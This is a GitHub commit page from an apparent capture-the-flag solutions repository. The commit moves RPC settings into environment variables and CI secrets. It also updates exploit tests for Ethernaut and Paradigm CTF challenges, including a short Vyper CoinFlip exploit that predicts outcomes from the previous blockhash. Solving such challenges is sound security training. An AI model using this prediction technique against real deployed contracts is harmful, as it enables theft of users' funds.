Thanks to visit codestin.com
Credit goes to github.com

Skip to content

Commit f34b4a3

Browse files
committed
fix to pass ci
1 parent e324260 commit f34b4a3

File tree

12 files changed

+13
-18
lines changed

12 files changed

+13
-18
lines changed

.env

Lines changed: 0 additions & 3 deletions
This file was deleted.

.env.template

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
RPC_MAINNET=https://rpc.ankr.com/eth

.github/workflows/test.yml

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -12,6 +12,7 @@ on:
1212

1313
env:
1414
FOUNDRY_PROFILE: ci
15+
RPC_MAINNET: ${{ secrets.RPC_MAINNET }}
1516

1617
jobs:
1718
check:

.gitignore

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -37,3 +37,5 @@ storage
3737
*.gz
3838

3939
attachments/
40+
41+
.env

foundry.toml

Lines changed: 1 addition & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -13,15 +13,12 @@ ignored_error_codes = [
1313
9302, # Warning (9302): Return value of low-level calls not used.
1414
]
1515

16-
# For Huff & Vyper
16+
# For Huff
1717
ffi = true
1818
fs_permissions = [{ access = "read", path = "./out" }]
1919

2020
# For CREATE2
2121
bytecode_hash = "none"
2222
cbor_metadata = false
2323

24-
[profile.default.rpc_endpoints]
25-
mainnet = "https://rpc.ankr.com/eth"
26-
2724
# See more config options https://github.com/foundry-rs/foundry/tree/master/crates/config

src/Ethernaut/CoinFlip/CoinFlipExploit.t.sol

Lines changed: 1 addition & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -4,7 +4,6 @@ pragma solidity ^0.8.13;
44
import {Test, console2} from "forge-std/Test.sol";
55
import {playerScript, CoinFlipExploit} from "./CoinFlipExploit.sol";
66
import {CoinFlipFactory} from "./CoinFlipFactory.sol";
7-
import {VyperUtils} from "src/utils/VyperUtils.sol";
87

98
contract CoinFlipExploitTest is Test {
109
address playerAddr = makeAddr("player");
@@ -30,9 +29,7 @@ contract CoinFlipExploitTest is Test {
3029
}
3130

3231
function testExploitVyper() public solveChecker {
33-
VyperUtils vyperUtils = new VyperUtils();
34-
vm.allowCheatcodes(address(vyperUtils));
35-
address exploitAddr = vyperUtils.deploy("src/Ethernaut/CoinFlip/CoinFlipExploit.vy");
32+
address exploitAddr = deployCode("src/Ethernaut/CoinFlip/CoinFlipExploit.vy");
3633
for (uint256 i = 0; i < 10; i++) {
3734
vm.roll(i + 10);
3835
(bool success,) = exploitAddr.call(abi.encodeWithSignature("exploit(address)", instanceAddr));

src/Ethernaut/CoinFlip/CoinFlipExploit.vy

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -7,6 +7,6 @@ interface ICoinFlip:
77
def exploit(instanceAddress: address):
88
instance: ICoinFlip = ICoinFlip(instanceAddress)
99
blockValue: uint256 = convert(blockhash(block.number - 1), uint256)
10-
coinFlip: uint256 = blockValue / FACTOR
10+
coinFlip: uint256 = blockValue // FACTOR
1111
side: bool = coinFlip == 1
12-
instance.flip(side)
12+
extcall instance.flip(side)

src/HuffChallenge/challenge5/Challenge5.t.sol

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -10,7 +10,7 @@ contract Challenge5Test is Test {
1010

1111
function setUp() public {
1212
// Fork mainnet
13-
vm.createSelectFork(vm.envString("RPC_ANKR_MAINNET"));
13+
vm.createSelectFork(vm.envString("RPC_MAINNET"));
1414
solver = HuffDeployer.config().deploy("HuffChallenge/challenge5/Challenge5");
1515
}
1616

src/ParadigmCTF2021/Farmer/FarmerExploit.t.sol

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -8,7 +8,7 @@ contract FarmerExploitTest is Test {
88
address playerAddress = makeAddr("player");
99

1010
function setUp() public {
11-
vm.createSelectFork(vm.envString("RPC_ANKR_MAINNET"));
11+
vm.createSelectFork(vm.envString("RPC_MAINNET"));
1212
vm.deal(playerAddress, 10 ether);
1313
}
1414

src/ParadigmCTF2021/Secure/SecureExploit.t.sol

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -8,7 +8,7 @@ contract SecureExploitTest is Test {
88
address playerAddress = makeAddr("player");
99

1010
function setUp() public {
11-
vm.createSelectFork(vm.envString("RPC_ANKR_MAINNET"));
11+
vm.createSelectFork(vm.envString("RPC_MAINNET"));
1212
vm.deal(playerAddress, 50 ether);
1313
}
1414

0 commit comments

Comments
 (0)